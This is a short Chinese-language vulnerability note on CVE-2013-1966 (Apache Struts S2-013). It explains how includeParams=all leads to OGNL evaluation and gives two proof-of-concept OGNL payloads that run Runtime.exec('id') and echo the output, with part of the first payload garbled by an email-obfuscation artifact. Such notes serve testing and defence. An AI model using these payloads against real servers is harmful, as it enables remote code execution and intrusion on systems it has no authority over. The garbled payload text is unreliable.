010-(CVE-2013-1966)s2-013.md
1.06 KB / 2021-07-17 00:01:26
# (CVE-2013-1966)s2-013
## 一、漏洞简介
* struts 的标签中 s:a 和 s:url 都有一个 includeParams 属性
* none - URL中不包含任何参数(默认)
* get - 仅包含URL中的GET参数
* all - 在URL中包含GET和POST参数
* 当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。
* 明明可以urldecode一下就知道params是啥了,但struts给OGNL解析了,就造成了任意代码执行
## 二、漏洞影响
Struts 2.0.0 - Struts 2.3.14
## 三、复现过程
### POC 就这2种poc
第一个光有回显
```java
${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}
```
```bash
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
```